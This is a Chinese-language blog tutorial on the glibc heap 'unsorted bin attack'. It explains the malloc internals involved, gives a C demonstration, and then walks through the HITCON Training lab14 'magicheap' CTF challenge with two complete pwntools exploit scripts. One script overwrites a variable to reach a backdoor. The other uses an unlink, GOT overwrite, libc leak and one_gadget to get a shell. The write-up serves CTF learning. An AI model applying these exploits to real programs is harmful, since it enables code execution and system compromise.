堆利用之UnsortedBin-attack


[TOC]

Unsorted Bin Attack

利用前提与效果

  • Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。

  • Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

unsorted bin 也是可以用来 leak libc 的

**Unsorted Bin 中 Chunk 的来源 **

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

**Unsorted Bin 中 Chunk 的使用 **

  • Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取
  • 在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中

原理

在malloc.c中的 _int_malloc 有一段关于 Unsorted bin chunk 摘除的代码:

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
	malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

其中 unsorted_chunk 的 bk 指针指向的是它后一个被释放的 chunk 的块地址(bck),后一个被释放的 chunk 的 fd 指针指向的是unsorted_chunk 的块地址。如果我们能够控制 unsorted_chunk 的 bk,那么就意味着可以将 unsorted_chunks (av),即unsortedbin 的块地址写到任意可写地址内
eg:

#include <stdio.h>
#include <stdlib.h>
int main() { 
  unsigned long target_var = 0;
  fprintf(stderr,"&target_var and target_var:\n");
  fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
  
  unsigned long *p = malloc(400);
  fprintf(stderr, "The first chunk_addr at: %p\n",p);
  
  malloc(500);
  
  free(p);
  fprintf(stderr, "The first chunk_fd is %p\n",(void *)p[1]);
  
  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "Now,The first chunk_fd is %p\n\n", (void *)p[1]);
  
  malloc(400);
  fprintf(stderr, "target has been rewrite %p: %p\n", &target_var, (void *)target_var);
}

我们修改了 chunk_p 的 bk 指针,使它指向了 &target_var - 2 的位置

最开始我们申请了一个 chunk_p,然后在释放 chunk_p,由于 chunk_p 大小大于 fastbin,所以会被放到 unsortedbin 中过渡。

我们将 chunk_p 的 bk 指针修改为 &target -2。

当我们在申请 0x400 大小的 chunk 时,则会将 &target -2 的 fd 指针即 target 给修改为 Unsorted bin 的地址,所以 target 的值就被修改为了一个大数

看到这里,你可以会问,这有啥用,当然还是有些用的:

  • 可以通过修改循环的次数来使得程序可以执行多次循环。
  • 可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样就可以去利用 fastbin attack 了。

例题

HITCON Training lab14 magic heap

这题存在堆溢出,且存在后门函数,可以打 unsorted bin attack去修改 magic 为一个较大的值从而执行后门函数,后门函数会输出 flag,但是不能拿到 shell。

这题其实还可以 unlink 去拿 shell,打 hook 也行,也可以利用 fastbin attack,利用方式挺多的

if ( (unsigned __int64)magic <= 0x1305 )
{
   puts("So sad !");
}
else
{
   puts("Congrt !");
   backdoor();
}

exp1:

from pwn import *

#context.log_level= 'debug'
io = process("./magicheap")
elf = ELF("./magicheap")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

def create(size, content):
        io.recvuntil(b'Your choice :')
        io.sendline(b'1')
        io.recvuntil(b'Size of Heap : ')
        io.sendline(str(size).encode())
        io.recvuntil(b'Content of heap:')
        io.send(content)

def edit(index, size, content):
        io.recvuntil(b'Your choice :')
        io.sendline(b'2')
        io.recvuntil(b'Index :')
        io.sendline(str(index).encode())
        io.recvuntil(b'Size of Heap : ')
        io.sendline(str(size).encode())
        io.recvuntil(b'Content of heap : ')
        io.send(content)

def delete(index):
        io.recvuntil(b'Your choice :')
        io.sendline(b'3')
        io.recvuntil(b'Index :')
        io.sendline(str(index).encode())

magic = 0x6020C0

create(0x10, b'A\n')
create(0x80, b'A\n')
create(0x10, b'A\n')

delete(1)
#debug()

payload = b'A'*0x10 + p64(0) + p64(0x91) + p64(0) + p64(magic - 0x10)
edit(0, len(payload), payload)
#debug()

create(0x80, b'A\n')
#debug()

io.recvuntil(b'Your choice :')
io.sendline(b'4869')

io.interactive()

假设没有后门函数,则可以打 unlink,exp2:

from pwn import *

#context.log_level= 'debug'
io = process("./magicheap")
elf = ELF("./magicheap")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

def create(size, content):
        io.recvuntil(b'Your choice :')
        io.sendline(b'1')
        io.recvuntil(b'Size of Heap : ')
        io.sendline(str(size).encode())
        io.recvuntil(b'Content of heap:')
        io.send(content)

def edit(index, size, content):
        io.recvuntil(b'Your choice :')
        io.sendline(b'2')
        io.recvuntil(b'Index :')
        io.sendline(str(index).encode())
        io.recvuntil(b'Size of Heap : ')
        io.sendline(str(size).encode())
        io.recvuntil(b'Content of heap : ')
        io.send(content)

def delete(index):
        io.recvuntil(b'Your choice :')
        io.sendline(b'3')
        io.recvuntil(b'Index :')
        io.sendline(str(index).encode())

heaparray = 0x6020E0

create(0x10, b'A\n')
create(0x10, b'A\n')
create(0x10, b'A\n')
create(0x20, b'A\n')
create(0x80, b'A\n')
create(0x10, b'A\n')

fd = heaparray + 0x18 - 0x18
bk = heaparray + 0x18 - 0x10
payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0x90)
edit(3, len(payload), payload)
#debug()

delete(4)
#debug()

payload = p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(3, len(payload), payload)
#debug()
puts_plt = 0x4006E0
edit(0, 8, p64(puts_plt))
delete(1)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr:",hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
one_gadget1 = libc_base + 0x45226
one_gadget2 = libc_base + 0x4527a
one_gadget3 = libc_base + 0xf03a4
one_gadget4 = libc_base + 0xf1247

edit(2, 8, p64(one_gadget4))
io.recvuntil(b'Your choice :')
io.sendline(b'1')

io.interactive()

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录